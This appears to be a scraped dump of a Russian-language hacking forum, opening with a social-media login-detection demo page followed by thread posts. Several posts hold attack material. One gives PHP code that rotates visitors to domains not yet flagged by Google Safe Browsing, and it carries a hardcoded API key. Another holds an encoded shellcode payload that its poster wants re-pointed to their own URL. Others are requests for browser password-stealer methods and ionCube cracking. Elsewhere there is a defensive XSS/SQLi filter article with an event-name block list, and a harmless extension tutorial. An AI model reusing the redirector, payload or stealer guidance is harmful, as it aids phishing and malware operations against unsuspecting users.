                    <li>2016/10/14: Netflix now just redirects to the main browse page regardless of the redirect in the URL.</li>
                    <li>2017/11/29: Flickr <a target="_blank" href="https://github.com/RobinLinus/socialmedia-leak/issues/26">has fixed</a> the issue, too.</li>
                </ul>
            </p>
            </p>
        </section>
        <section>
            <h2>Further Attacks</h2>
            <p>
                This attack could be a step of a worse attack such as <a target="_blank" href="https://0xsobky.github.io/novel-deanonymization-techniques/">deanonymization techniques</a>, <a target="_blank" href="https://en.wikipedia.org/wiki/Clickjacking">Clickjacking</a>, <a target="_blank" href="http://sakurity.com/blog/2015/03/10/Profilejacking.html">Profilejacking</a>, or <a target="_blank" href="https://en.wikipedia.org/wiki/Phishing">Phishing</a> where it is crucial to know if a victim is logged in to a service.
            </p>
        </section>
        <section>
            <h2>Protection</h2>
            <p>First of all: <a href="https://www.google.com/search?q=third+party+cookies&oq=third+party+cookies" target="_blank">disable third party cookies.</a></p>
            <p>You can also install a browser plugin like <a href="https://www.google.com/search?q=privacy+badger" target="_blank">Privacy Badger</a>, or <a href="https://www.google.com/search?q=umatrix" target="_blank">uMatrix</a> to protect yourself from this attack.</p>
            <p>
                For further information see the <a href="https://news.ycombinator.com/item?id=12692190" target="blank" rel="noreferrer">discussion on Hackernews</a> or this <a href="https://www.reddit.com/r/programming/comments/5741xk/your_social_media_fingerprint/" target="blank" rel="noreferrer">discussion on Reddit</a>.
            </p>
        </section>
        <section>
            <h2>Help to solve the issue!</h2>
            <p>
                The companies won't fix the issue, because the risk for their own service is relatively low. Though so many platforms are vulnerable to this, it becomes a real privacy issue. Please help to raise awareness to push the companies to fix the issue.
            </p>
            <ul>
                <li><a target="_blank" href="https://twitter.com/home?status=https%3A//robinlinus.github.io/socialmedia-leak">Share this demo on Twitter</a></li>
                <li><a target="_blank" href="https://www.facebook.com/sharer/sharer.php?u=https%3A//robinlinus.github.io/socialmedia-leak">Share this demo on Facebook</a></li>
                <li><a target="_blank" href="https://plus.google.com/share?url=https%3A//robinlinus.github.io/socialmedia-leak">Share this demo on Google+</a></li>
                <li><a data-action="share/whatsapp/share" href="whatsapp://send?text=https://robinlinus.github.io/socialmedia-leak" data-action="share/whatsapp/share">Share this demo via Whatsapp</a></li>
                <li><a target="_blank" href="https://github.com/RobinLinus/socialmedia-leak">Star this project on Github</a></li>
            </ul>
            <p>If you find more web platforms that are vulnerable to this attack, <a href="https://github.com/RobinLinus/socialmedia-leak/issues">please file an issue to add it.</a> The more complete this list is, the bigger the issue and the higher the pressure for platforms to fix it.
            </p>
        </section>
        <section id="ads">
            <br>
            <br>
            <br>
            <br>
            <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js" onerror="document.querySelector('#ads').remove()"></script>
            <!-- WebSecQuiz -->
            <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-9914824802194583" data-ad-slot="1912010157" data-ad-format="auto"></ins>
            <script>
            (adsbygoogle = window.adsbygoogle || []).push({});
            </script>
            <br>
            <br>
            <br>
            <br>
        </section>


        <section>
            <h3>If you like this page maybe you like my other works, too:</h3>
            <ul>
                <li><a target="_blank" href="https://snapdrop.net"><b>Snapdrop:</b> Instantly share files with devices nearby. No Setup, No Signup.</a></li>
                <li><a target="_blank" href="http://webkay.robinlinus.com"><b>Webkay:</b> A demonstration of all the personal information your browser is leaking.</a></li>
                <li><a target="_blank" href="http://ubercookie.robinlinus.com"><b>Ubercookie:</b> An irrevocable persistent browser cookie.</a></li>
                <li><a target="_blank" href="https://websecurity.firebaseapp.com"><b>Web Security Quiz:</b> Test your knowledge with OWASP exam questions</a></li>
                <li><a target="_blank" href="http://capira.de"><b>Capira:</b> Interactive Learning Videos</a></li>
                <li><a target="_blank" href="https://www.facebook.com/RobinLinus"><b>Facebook:</b> Like my page to get updates about the stuff I create</a></li>
                <li><a target="_blank" href="https://twitter.com/robin_linus"><b>Twitter:</b> Follow me on Twitter to get updates about the stuff I create</a></li>
            </ul>
        </section>
</div>
    <script src="demo.js"></script>
    <script>
    var isFirstLoggedIn = true;

    function displayResult(network, loggedIn) {
        var id = loggedIn ? 'loggedIn' : 'notLoggedIn';
        var favicon = faviconUri(network);
        var url = network.domain + network.redirect;
        var el = '<a target="_blank" href="' + url + '" target="_blank" class=network><img src=' + favicon + '><span>' + network.name + '</span></a>';
        if (loggedIn && isFirstLoggedIn) {
            isFirstLoggedIn = false;
            document.getElementById(id).innerHTML = el;
        } else {
            document.getElementById(id).innerHTML += el;
        }
    }
    leakSocialMediaAccounts(displayResult);

    function faviconUri(network) {
        var favicon = network.domain + '/favicon.ico';
        if (network.name === 'Dropbox') {
            favicon = 'https://www.dropbox.com/static/images/favicon.ico';
        }
        if (network.name === 'Youtube') {
            favicon = 'https://www.youtube.com/favicon.ico';
        }
        if (network.name === 'Gmail') {
            favicon = 'https://mail.google.com/favicon.ico';
        }
        return favicon;
    }
    </script>
    <script>
    (function(i, s, o, g, r, a, m) {
        i['GoogleAnalyticsObject'] = r;
        i[r] = i[r] || function() {
            (i[r].q = i[r].q || []).push(arguments)
        }, i[r].l = 1 * new Date();
        a = s.createElement(o),
            m = s.getElementsByTagName(o)[0];
        a.async = 1;
        a.src = g;
        m.parentNode.insertBefore(a, m)
    })(window, document, 'script', 'https://www.google-analytics.com/analytics.js', 'ga');

    ga('create', 'UA-85165266-1', 'auto');
    ga('send', 'pageview');
    </script>
    <a href="https://robinlinus.github.io" target="_blank" id="about">
        <footer>
            Built with ♥ by Robin Linus
        </footer>
    </a>
    <iframe style="position:fixed;bottom:0;" src="https://robinlinus.github.io/share-the-love/#msg=Your Social Media Fingerprint&url=https://robinlinus.github.io/socialmedia-leak&paypal=robin@capira.de&twitter=robin_linus&bitcoin=176s9TkKmAFdL5gP36u9VZym9zPVVEcFo9" height="50" width="100%" frameborder="0"></iframe>
</body>

</html>

Как подключить на свой сайт такой детект, чтобы при условии что есть авторизация(допустим гугл) в нужной форме создавался

Code:Copy to clipboard

<input type="hidden" name="SocialCheck" value="Gmail">

Чтобы в последствии когда будет отправлена форма, отправлялись и линки где человек авторизован.

open case! сайт перестал создавать трейд.
ID: 67668b27b4103b69df375dd0
Thread ID: 34862
Created: 2020-02-09T16:12:50+0000
Last Post: 2020-02-09T16:12:50+0000
Author: Mrabus
Replies: 0 Views: 2K

open case! сайт перестал создавать трейд. вчем может быть проблема кто подскажет ? Раньше всё работало идеально после переноса на другой сервер перестало

Чекер Google Safe Browsing (php)
ID: 67668b27b4103b69df375dd3
Thread ID: 30561
Created: 2019-07-22T16:10:02+0000
Last Post: 2020-01-22T15:34:11+0000
Author: pablo
Replies: 1 Views: 2K

Может, кому пригодиться. Автоматический скан сайтов Google SafeBrowsing v4 через API гугла

Код устанавливается на домен и редиректит юзера на чистый домен перед этим просканировав его через API.
Чекер пропускает паленный домен выбирает чистый и перекидывает туда юзера.


PHP:Copy to clipboard

<?php
function Lookup_GoogleSafeBrowsing_v4($url)
{
$data = '{
"client": {
"clientId": "Parse",
"clientVersion": "1.0"
},
"threatInfo": {
"threatTypes":      ["MALWARE"],
"platformTypes":    ["ALL_PLATFORMS"],
"threatEntryTypes": ["URL"],
"threatEntries": [
{"url": "'.$url.'"}
]
}
}';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://safebrowsing.googleapis.com/v4/threatMatches:find?key=AIzaSyCdg4Wuk0oTP2Cmznm3_68BMH_4kaYivKQ");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/json", 'Content-Length: ' . strlen($data)));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = (array) json_decode(curl_exec($ch), true);
if($response == "Array"){return false;}
curl_close ($ch);
return ($response['matches'][0]['threatType']) ? true : false;
}
$a = array("http://malware.testing.google.test/testing/malware/","http://vk.com/", "http://yandex.ru/", "http://www.gumblar.cn/test/123");
foreach ($a as $v) {
if(!Lookup_GoogleSafeBrowsing_v4($v)){header('Location: '.$v);}
}
?>
Как программно выташить пароли с браузеров.
ID: 67668b27b4103b69df375dd7
Thread ID: 33317
Created: 2019-11-20T14:27:41+0000
Last Post: 2019-11-20T15:36:31+0000
Author: dev
Replies: 3 Views: 2K

как программно выташить пароли с браузеров.
язык не пренципеален интересен сам процесс стилера

просто интерестно как допустим с хрома, ведь там при просмотре требует пароль юзера.

Очень нужна помощь в декодировании.
ID: 67668b27b4103b69df375dd8
Thread ID: 31710
Created: 2019-09-12T12:22:43+0000
Last Post: 2019-11-17T06:52:46+0000
Author: Firewoll
Replies: 4 Views: 2K

Парни как я понял тут должен быть урл мне нужна,декоднуть заменить урл на свой и обратно так шифрануть
let shellcode = unescape("%u48fc%ue483%ue8f0%u00c0%u0000%u5141%u5041%u5152%u4856%ud231%u4865%u528b%u4860%u528b%u4818%u528b%u4820%u728b%u4850%ub70f%u4a4a%u314d%u48c9%uc031%u3cac%u7c61%u2c02%u4120%uc9c1%u410d%uc101%uede2%u4152%u4851%u528b%u8b20%u3c42%u0148%u8bd0%u8880%u0000%u4800%uc085%u6774%u0148%u50d0%u488b%u4418%u408b%u4920%ud001%u56e3%uff48%u41c9%u348b%u4888%ud601%u314d%u48c9%uc031%u41ac%uc9c1%u410d%uc101%ue038%uf175%u034c%u244c%u4508%ud139%ud875%u4458%u408b%u4924%ud001%u4166%u0c8b%u4448%u408b%u491c%ud001%u8b41%u8804%u0148%u41d0%u4158%u5e58%u5a59%u5841%u5941%u5a41%u8348%u20ec%u5241%ue0ff%u4158%u5a59%u8b48%ue912%uff57%uffff%u485d%u01ba%u0000%u0000%u0000%u4800%u8d8d%u0101%u0000%uba41%u8b31%u876f%ud5ff%uf0bb%ua2b5%u4156%ua6ba%ubd95%uff9d%u48d5%uc483%u3c28%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5900%u8941%uffda%u63d5%u6c61%u2e63%u7865%u0065");

Зачем нужен js?
ID: 67668b27b4103b69df375dd9
Thread ID: 30972
Created: 2019-08-11T14:00:02+0000
Last Post: 2019-11-16T16:07:40+0000
Author: 3jenni
Replies: 5 Views: 2K

Зачем нужен js, когда php 7 гораздо быстрее и не показывает код в браузере?

Нужна помощь, что это за документ?
ID: 67668b27b4103b69df375dda
Thread ID: 32570
Created: 2019-10-18T07:58:06+0000
Last Post: 2019-10-22T10:02:07+0000
Author: yxqichea
Replies: 3 Views: 2K
Вскрытие ioncube
ID: 67668b27b4103b69df375ddc
Thread ID: 31015
Created: 2019-08-12T21:36:56+0000
Last Post: 2019-10-07T05:10:05+0000
Author: 7rayans
Replies: 8 Views: 2K

Есть методы вскрытия ioncube для получения чистых сорцов?

кто пишет программы типа>>All-In-One Checker
ID: 67668b27b4103b69df375ddf
Thread ID: 31697
Created: 2019-09-11T18:20:51+0000
Last Post: 2019-09-11T18:20:51+0000
Author: waldemar161
Replies: 0 Views: 2K

не знаю,правильно,или нет я создал тему,вообщем нужны вот такие люди,которые пишут)))

Кривой анлинк и редирект
ID: 67668b27b4103b69df375de1
Thread ID: 31158
Created: 2019-08-18T14:20:27+0000
Last Post: 2019-08-24T14:56:08+0000
Author: 5luccaseugeniot
Replies: 3 Views: 2K

Трабл в следующем, выполняется пхп скрипт, в завершении должна пройти запись в файл, анлинк и редирект. Но по итогу - весь скрипт пропускается и сразу переходит к анлинку и редиректу.
Почему?

В логах ничего.

Корректирование php кода
ID: 67668b27b4103b69df375de2
Thread ID: 31178
Created: 2019-08-19T13:43:10+0000
Last Post: 2019-08-24T14:49:30+0000
Author: ijoaos
Replies: 11 Views: 2K

Кто-то может помочь с php и возможно html? Буду очень тебе благодарен, но по деньгам ограничен.
Знаю, что точно есть ошибки, но не понимаю как их исправить.

1. При импортировании строки 119 и 120 выполняются, но не записываются в базу. Пробовал менять очередность выполнения - ничего.
2. Выполняется только последняя часть кода с unlink и header. Если их убрать, то все ок, то мне нужно выполнить скрипт, записать инфу и удалить выполняющийся скрипт с мануалом, далее следует редирект на другую страницу.

php 7.0
В логах все чисто.

Код ниже, он не мой, нашел на форуме и хочу переделать. Только учусь.

PHP:Copy to clipboard

del
Ошибка в php
ID: 67668b27b4103b69df375de3
Thread ID: 31100
Created: 2019-08-15T18:25:28+0000
Last Post: 2019-08-15T18:50:00+0000
Author: smarilouz
Replies: 2 Views: 2K

del

Вопрос? Потенциальная возможность выявления клиента БД MySQL
ID: 67668b27b4103b69df375de4
Thread ID: 30899
Created: 2019-08-08T10:27:17+0000
Last Post: 2019-08-08T10:40:54+0000
Author: AlexLES
Replies: 2 Views: 2K

Приветствую всех, такая ситуация, на виртуальном сервере развернут сервер с БД MySQL, в которую записываются данные с нескольких узлов, я забираю эти данные своей клиентской программой на другом компе. Возможно ли при наличии доступа к виртуальному серверу выявить с какого компа я забирал данные своей программой?

переменные в php
ID: 67668b27b4103b69df375de5
Thread ID: 30758
Created: 2019-07-31T18:20:16+0000
Last Post: 2019-08-01T00:22:34+0000
Author: furzetupso
Replies: 8 Views: 2K

Ситуация такая.
Есть php код на 4000 строк. Код 2005-2008 кода. Нужно разобрать его и переделать для 2019 года.

Переменные указаны 1-3x буквами. Переменных много.
Заменил все переменные на одну одинаковую переменную. Теперь получаю ошибку, скрипт скипается на последнюю переменную (конец кода) и на этом все (просто пустая страница). Оригинальный скрипт работает.

Скрипт не будет работать, если переменные повторяются?

Трудности с установщиком панели
ID: 67668b27b4103b69df375de6
Thread ID: 30704
Created: 2019-07-29T15:10:19+0000
Last Post: 2019-07-29T15:19:45+0000
Author: urzceda5
Replies: 1 Views: 2K

del

Связь php и софта
ID: 67668b27b4103b69df375de7
Thread ID: 30701
Created: 2019-07-29T11:51:20+0000
Last Post: 2019-07-29T12:09:19+0000
Author: tejozupes
Replies: 1 Views: 2K

del

Бот для автоматизированных ставок
ID: 67668b27b4103b69df375de8
Thread ID: 30414
Created: 2019-07-14T13:09:26+0000
Last Post: 2019-07-23T12:26:43+0000
Author: wishme
Replies: 1 Views: 2K

Требуется бот для автоматизированных ставок у брокера бинарных опционов.
Задачи бота:

  1. Отслеживание графика валютной пары на мт5
  2. Выставление ставки у брокера бинарных опционов после скачка на определённое количество пунктов вверх/вниз

Бот должен состоять из серверной части и исполняемого файла в формате js скрипта.
В серверной части необходима функция внесения ip адреса для работы js скрипта (при изменении ip скрипт перестаёт работать)

Необходимые настройки js скрипта через всплывающую панель:

  1. Временной интервал анализа графика в минутах.
  2. Сумма ставки
  3. Величина скачка при которой бот делает ставку.
  4. Автоматический анализ графика (вкл/выкл) При автоматическом анализе графика величина скачка установленная в пункте "3" не учитывается.
    4.1) Динамический коэффициент ( число X в десятичном формате на которое умножается максимальный скачок из прошедших на графике для определения величины нового скачка при котором будет сделана ставка) для ставок при автоматическом анализе графика.
  5. Сумма убытков за сессию при которой бот перестаёт делать ставки

После ввода этих данных в консоли должно отображаться следующее:

  1. Валютная пара.
  2. Временной интервал
  3. При автоматизированном анализе графика- динамический коэффициент и выбранный скачок для ставки, при отключенном анализе- величина скачка.
  4. Профит за сессию
  5. Количество ставок за сессию.

Также при ставке вверх/вниз бот должен прекращать делать ставки до завершения прошлой. (при ставке в консоли появляется надпись : ставка вверх/вниз).

Вопросы по веб кодингу
ID: 67668b27b4103b69df375de9
Thread ID: 30535
Created: 2019-07-21T11:20:38+0000
Last Post: 2019-07-22T00:58:57+0000
Author: tikuyaceb
Replies: 1 Views: 2K

Как лучше указать коннект к бд?
То есть, есть ли разница в каком порядке и виде прописывать хост, нейм, пасс, юзернейм?

Насколько адекватно юзать pdo и mysqli вместе?

Почему большинство юзает node js вместо php для начинки, когда php 7+ гораздо быстрее и проще?
И к этому же вопросу можно отнести работу с фреймворками, если тот же laravel якобы нужен для упрощения работы, но все в точности наоборот.
Да и разобрать код на пхп специалисту может быть проще чем тот же код на laravel.

Можно ли в одной функции сразу перечислять все задачи, а дальше запрашивать эту же функцию, но конкретной частью?
Например, хост, нейм, пасс, юзернейм, логин, пароль и т.д., а запрашивать как логин, пароль в первой части и все остальное во второй?
Или лучше распределить все по отдельным функциям?

Я правильно понимаю, что вся работа на пхп сводится к определению - созданию функции - определению - запросу и так по кругу?

Что лучше для коммерческих продуктов, bootstrap или font awesome?
Или bootstrap для самого сайта, а font awesome для картинок, шрифтов и т.д.?

Как указать дату и время при добавлении и изменении строки, date и time или вместе?
Какая разница между timestamp и datetime?
Если админ использует в колонке text, то есть ли какие-то уязвимости с забивом строки (по документации это самая крупная строка после blob, может быть даже на одном уровне)?
И что лучше использовать text или varchar или char? Так же и с int или tinyint?
Иногда встречаю дополнение к строке в виде (M) (VARCHAR(M)), зачем это?

Базовая защита от xss-атак и sql-inj
ID: 67668b27b4103b69df375dea
Thread ID: 30424
Created: 2019-07-15T11:55:40+0000
Last Post: 2019-07-19T07:08:19+0000
Author: tabac
Replies: 6 Views: 2K

Суть данного решения заключается в том, чтобы обработать данные переданные методами GET, POST и/или COOKIE, еще до момента обработки и записи их самих непосредственно в базу данных. Речь идет о базовой защите, начальной.

В этой статье я приведу примеры использования и недостатки того или иного метода.
Вот собственно сам код

PHP:Copy to clipboard

$jsxss="onabort,oncanplay,oncanplaythrough,ondurationchange,onemptied,onended,onerror,onloadeddata,onloadedmetadata,onloadstart,onpause,onplay,onplaying,onprogress,onratechange,onseeked,onseeking,onstalled,onsuspend,ontimeupdate,onvolumechange,onwaiting,oncopy,oncut,onpaste,ondrag,ondragend,ondragenter,ondragleave,ondragover,ondragstart,ondrop,onblur,onfocus,onfocusin,onfocusout,onchange,oninput,oninvalid,onreset,onsearch,onselect,onsubmit,onabort,onbeforeunload,onerror,onhashchange,onload,onpageshow,onpagehide,onresize,onscroll,onunload,onkeydown,onkeypress,onkeyup,altKey,ctrlKey,shiftKey,metaKey,key,keyCode,which,charCode,location,onclick,ondblclick,oncontextmenu,onmouseover,onmouseenter,onmouseout,onmouseleave,onmouseup,onmousemove,onwheel,altKey,ctrlKey,shiftKey,metaKey,button,buttons,which,clientX,clientY,detail,relatedTarget,screenX,screenY,deltaX,deltaY,deltaZ,deltaMode,animationstart,animationend,animationiteration,animationName,elapsedTime,propertyName,elapsedTime,transitionend,onerror,onmessage,onopen,ononline,onoffline,onstorage,onshow,ontoggle,onpopstate,ontouchstart,ontouchmove,ontouchend,ontouchcancel,persisted,javascript";
$jsxss = explode(",",$jsxss);
foreach($_GET as $k=>$v)
{
    if(is_array($v))
    {
        foreach($v as $Kk=>$Vv)
        {
            $Vv = preg_replace ( "'<script[^>]*?>.*?</script>'si", "", $Vv );
            $Vv = str_replace($jsxss,"",$Vv);
            $Vv = str_replace (array("*","\\"), "", $Vv );
            $Vv = strip_tags($Vv);
            $Vv = htmlentities($Vv, ENT_QUOTES, "UTF-8");
            $Vv = htmlspecialchars($Vv, ENT_QUOTES);
            $_GET[$k][$Kk] = $Vv;
        }
    }
    ELSE
    {
        //Сначала удаляем любые скрипты для защиты от xss-атак
        $v = preg_replace ( "'<script[^>]*?>.*?</script>'si", "", $v );
        //Вырезаем все известные javascript события для защиты от xss-атак
        $v = str_replace($jsxss,"",$v);
        //Удаляем экранирование для защиты от SQL-инъекций
        $v = str_replace (array("*","\\"), "", $v );
        //Экранируем специальные символы в строках для использования в выражениях SQL
        $v = mysql_real_escape_string( $v );
        //Удаляем другие лишние теги.  
        $v = strip_tags($v);
        //Преобразуем все возможные символы в соответствующие HTML-сущности
        $v = htmlentities($v, ENT_QUOTES, "UTF-8");
        $v = htmlspecialchars($v, ENT_QUOTES);
        //Перезаписываем GET массив
        $_GET[$k] = $v;
    }
  
}

Вышеуказанный пример обрабатывает только GET запросы. Так что цикл необходимо повторить как минимум с POST и COOKIE. К сожалению мне так и не удалось выполнить данное решение рекурсивно в функции, и передать все нужные нам массивы $_GET, $_POST и $_COOKIE одновременно. А самое главное, что так и не удалось реализовать, так это рекурсивный обход многомерных массивов такого типа, что связано с особенностью передачи данных данных внутри функции, а также ограниченностью использования переменных переменных.

Code:Copy to clipboard

$v = preg_replace ( "'<script[^>]*?>.*?'si", "", $v );

Здесь мы удаляем явно не нужный javascript код. Функция может оказаться лишней, если Вы все таки позволяете передавать непосредственно сам код, не для его выполнения, а для ознакомления. Например на форумах.

Code:Copy to clipboard

$v = str_replace($jsxss,"",$v);

Функция аналогична первой, только в данном случае мы вырезаем события, которые можно использовать для xss-атак. Можно несколько модифицировать данное решение и вырезать не только само событие, но содержимое, которое к нему пытаются прикрепить. Но я пока не увидел в этом необходимости

Code:Copy to clipboard

$v = str_replace (array("*","\\"), "", $v );

А эти вредоностные символы, особенно обратная косая черта, могут стать причиной взлома Вашей SQL. Так как сам символ используется довольно редко, а его потенциальная опасность довольно велика, я решил уничтожить его на корню.

Code:Copy to clipboard

$v = mysql_real_escape_string( $v );

Использование этой функции может вызвать излишнее экранирование символов, ведь скорее всего он уже используется непосредственно при записи данных в базу, но с другой стороны, он как никто другой поможет защититься от sql-инъекций и защитит Ваши данные. При его использовании необходимо использовать функцию после подключения к базе данных. Также не будем забывать, что mysql_real_escape_string не используется в php 7, да и само использование подобных функций зависит от способа подключения. Например при подключении к базе через mysqli может понадобиться использовать функция mysqli_real_escape_string.

Code:Copy to clipboard

$v = strip_tags($v);

Strip_tags поможет удалить все ненужные теги. К сожалению, и нужные тоже. Вторым параметром можно указать теги, которые нужно оставить. Но беда в том, что нужных тегов так много, что перечислить их довольно проблематично, а что самое прискорбное, то бывают встречаются и такие теги, которые разработчики сайтов добавляют самостоятельно, для создания определенных функций на сайте. Конечно, было бы куда удобнее указать теги, которые нужно удалить, а не оставить. Но будем довольствоваться тем, что есть. К тому же для таких решений можно использовать регулярные выражения.

Code:Copy to clipboard

$v = htmlentities($v, ENT_QUOTES, «UTF-8»);

Code:Copy to clipboard

$v = htmlspecialchars($v, ENT_QUOTES);

Думаю, что эти две функции не нуждаются в представлении и одна аналогична другой, поэтому вполне достаточно использовать одну из них. Тем не менее и они далеко не всегда уместны.

(c) habr

Пишем расширение для Chrome
ID: 67668b27b4103b69df375dec
Thread ID: 30175
Created: 2019-07-04T17:39:27+0000
Last Post: 2019-07-04T17:39:27+0000
Author: tabac
Replies: 0 Views: 2K

Расширения и плагины — полезные дополнения к уже существующим функциям на сайте и в браузере. С их помощью можно записывать аудио и видео с экрана, включать поиск ошибок, а также многое другое.
В этой статье мы рассмотрим создание самого простого расширения — запускатора избранных сайтов. Хотя приложение и будет примитивным, оно всё-таки раскроет процесс создания и загрузки расширения для google Chrome.

Желательно знать HTML, CSS и JS (если придётся расширить набор функций) на самом базовом уровне, чтобы понимать материал лучше, но в любом случае мы будем объяснять код.

В каждом расширении для Chrome должен быть файл manifest.json. Он служит только для описания функций приложения, общего описания, номера версии и разрешений. Более подробно вы сможете ознакомиться с этим файлом в блоге команды разработчиков Chrome.

Давайте же внесём свой вклад в развитие web
Здесь всё очень просто:

HTML:Copy to clipboard

{
    "manifest_version": 2,
    "name": "Tproger Launcher",
    "description": "Запускатор представительств Tproger",
    "version": "1.0.0",
    "icons": {"128": "icon_128.png"},
    "browser_action": {
        "default_icon": "icon.png",
        "default_popup": "popup.html"
    },
    "permissions": ["activeTab"]
}

После того как мы описали наше расширение в файле manifest.json, можно благополучно переходить к следующему этапу, а именно к разметке.

Для начала давайте напишем базовый HTML-код:

HTML:Copy to clipboard

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>

</body>
</html>

Выше мы написали каркас для плагина, сейчас он полностью пуст и нужно указать название, ссылки на иконки и шрифт. Это можно сделать с помощью тега link, обратите внимание, он не закрывается:

HTML:Copy to clipboard

<!DOCTYPE html>
<html>
<head>
   <meta charset="utf-8">  
   <title>Tproger Media Quick Launcher</title>
   <!--ссылаемся на шрифты, используемые в документе-->
   <link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" type="text/css">
   <!--здесь мы ссылаемся на стили, которые будем использовать в документе, а именно стиль иконок-->
   <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" integrity="sha384-wvfXpqpZZVQGK6TAh5PVlGOfQNHSoD2xbE+QkPxCAFlNEevoEH3Sl0sibVcOQVnN"
    crossorigin="anonymous">
</head>
<body>

</body>
</html>

Не забывайте указывать кодировку, иначе не отобразятся кириллические буквы.

Перейдём ко второму блоку кода, а именно к тегу body и его содержимому.

Так как наше расширение — модальное окно, давайте соответствующим образом назовём контейнеры. Сначала добавим контейнер шапки расширения, в которой укажем ссылку к иконке, напишем название и добавим номер версии.

HTML:Copy to clipboard

<!--объяснение тега-->
<body>
  <!--контейнер, содержащий название, логотип и номер версии-->
  <div class="modal-header">
    <h1 class="logo">
      <img class="logo-icon" src="images/tproger-logo.png"> Запускатор Tproger
      <span class="version">(1.0.0)</span>
   </h1>
  </div>
  <!--Конец контейнера-->

Переходим к следующему контейнеру. Он содержит описание функций расширений.

Code:Copy to clipboard

<!--контейнер, содержащий описание функций расширения-->
  <div class="modal-content">
    <p>Быстрый доступ к контентным площадкам Типичного Программиста</p>
  </div>
  <!--Конец контейнера-->

Далее следует контейнер modal-icons, внутри которого ещё 5 контейнеров.

HTML:Copy to clipboard

<!--контейнер, содержащий контейнеры с иконками-->
  <div class="modal-icons">
    <div class="flex-container">
      <div class="flex">
        <!--target="_blank" — это служит для открытия новой вкладки при клике по иконке-->
        <a href="#" target="_blank">
          <i class="fa fa-globe"></i>
        </a>
      </div>
      <div class="flex">
        <a href="#" target="_blank">
          <i class="fa fa-telegram"></i>
        </a>
      </div>
      <div class="flex">
        <a href="#" target="_blank">
          <i class="fa fa-facebook"></i>
        </a>
      </div>
      <div class="flex">
        <a href="#" target="_blank">
          <i class="fa fa-vk"></i>
        </a>
      </div>
    </div>
  </div>

Для каждой иконки мы выделили отдельный контейнер с классом flex, чтобы знать, к каким элементам будем применять Flexbox.

Кроме того, мы указали названия иконок для каждого ресурса. Более детально со всеми доступными элементами можно ознакомиться на сайте Bootstrap.

Стили
Чтобы расширение выглядело красивее и было удобнее, чем сейчас, нужно добавить стили на CSS.

CSS:Copy to clipboard

<style>
    /* Модальная структура документа */
    /*общие настройки для всего документа*/
    html,
    body {
      font-family: 'Open Sans', sans-serif;
      font-size: 14px;
      margin: 0;
      min-height: 180px;
      padding: 0;
      width: 380px;
    }
    /*задаём настройки для заголовков первого уровня*/
    h1 {
      font-family: 'Menlo', monospace;
      font-size: 22px;
      font-weight: 400;
      margin: 0;
      color: #2f5876;
    }
    a:link,
    a:visited {
      color: #000000;
      outline: 0;
      text-decoration: none;
    }
    /*задаём ширину картинки*/
    img {
      width: 30px; /*ширина изображений*/
    }
    .modal-header {
      align-items: center; /*выравнивание элементов по центру*/
      border-bottom: 0.5px solid #dadada; /*свойства нижней разделительной линии*/
      height: 50px;
    }
    .modal-content {
      padding: 0 22px; /*отступы сверху и снизу, сверху и слева*/
    }
    .modal-icons {
      border-top: 0.5px solid #dadada; /*свойства верхней разделительной линии*/
      height: 50px;
      width: 100%;
    }
    .logo {
      padding: 16px; /*отступы со всех сторон*/
    }
    .logo-icon {
      vertical-align: text-bottom; /*выравнивание по нижней части текста*/
      margin-right: 12px; /*задётся отступ элементов от изображения*/
    }
    .version {
      color: #444;
      font-size: 18px;
    }

Основные настройки документа заданы, давайте перейдём к следующему фрагменту кода, в котором как раз и будет применён Flexbox, о котором шла речь в начале статьи.

CSS:Copy to clipboard

.flex-container {
      display: flex; /*отображает контейнер в виде блочного элемента*/
      justify-content: space-between; /*равномерное выравнивание элементов*/
      padding: 10px 22px;
    }
    /*задаём настройки для контейнеров с иконками*/
    .flex {
      opacity: 1; /*параметр непрозрачности иконок*/
      width: 120px;
    }
    .flex:hover {
      opacity: 0.4; /*уровень непрозрачности при наведении курсора на элемент*/
    }
    .flex .fa {
      font-size: 40px;
      color: #2f5876;
    }
  </style>
  <!--конец объяснения блока со стилями-->

Мы постарались как можно подробнее объяснить в комментариях относительно сложные моменты. А сейчас нам нужно лишь загрузить наше расширение в браузер Chrome и оно будет работать, а если пройдёт модерацию, то появится в магазине расширений (плагинов).

Теперь давайте добавим файл с расширением .js, если вдруг потребуется расширить функции дополнения для браузера.

HTML:Copy to clipboard

<head>
   <meta charset="utf-8">
   <title>Tproger Media Quick Launcher</title>
  <link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" type="text/css">
  <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" integrity="sha384-wvfXpqpZZVQGK6TAh5PVlGOfQNHSoD2xbE+QkPxCAFlNEevoEH3Sl0sibVcOQVnN"
    crossorigin="anonymous">
    <style type="text/css">
      /*здесь мы прописали стили*/
    </style>
  <!--конец объяснения блока со стилями-->
  <!--здесь ссылаемся на файл .js в нашей папке с кодом и изображениями-->
  <script src="popup.js"></script>
</head>

Проверка кода и публикация
Прежде чем опубликовать, проверьте ещё раз весь код. Если вы делали всё так, как мы, то у должно было получиться следующее:

HTML:Copy to clipboard

<!DOCTYPE html>
<html>
<!--Начало первого блока объяснения кода-->
<head>
  <meta charset="utf-8">
  <title>Запускатор Tproger</title>
  <!--ссылаемся на шрифты, используемые в документе-->
  <link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" type="text/css">
  <!--здесь мы ссылаемся на стили, которые будем использовать в документе, а именно стиль иконок-->
